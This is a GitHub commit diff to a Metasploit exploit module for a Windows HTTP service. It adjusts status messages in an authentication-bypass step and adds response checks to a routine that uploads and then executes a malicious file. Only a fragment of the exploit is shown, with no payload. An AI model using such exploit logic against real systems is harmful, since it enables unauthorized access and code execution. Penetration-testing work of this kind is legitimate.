File tree Expand file tree Collapse file tree 1 file changed +6
-2
lines changed
modules/exploits/windows/http Expand file tree Collapse file tree 1 file changed +6
-2
lines changed Original file line number Diff line number Diff line change @@ -79,7 +79,7 @@ def exploit
79
79
end
80
80
81
81
username = 'admin'
82
- print_status ( "Putting session value: username=#{ username } " )
82
+ print_status ( "Auth bypass: Putting session value: username=#{ username } " )
83
83
sid = put_session_value ( 'admin' )
84
84
print_status ( "Your SID is: #{ sid } " )
85
85
@@ -127,8 +127,12 @@ def get_sid(res)
127
127
def upload_exec ( sid , filename , malicious_file )
128
128
res = upload_file ( sid , filename , malicious_file )
129
129
130
- unless res
130
+ if ! res
131
131
fail_with ( Failure ::Unknown , 'The connection timed out while uploading the malicious file' )
132
+ elsif res && res . body . include? ( 'java.lang.NoClassDefFoundError' )
133
+ print_status ( "Payload being treated as XLS, indicates a successful upload." )
134
+ else
135
+ print_status ( "Unsure of a successful upload, but we're going to try to execute anyway" )
132
136
end
133
137
134
138
exec_file ( sid , filename )
You can’t perform that action at this time.
0 commit comments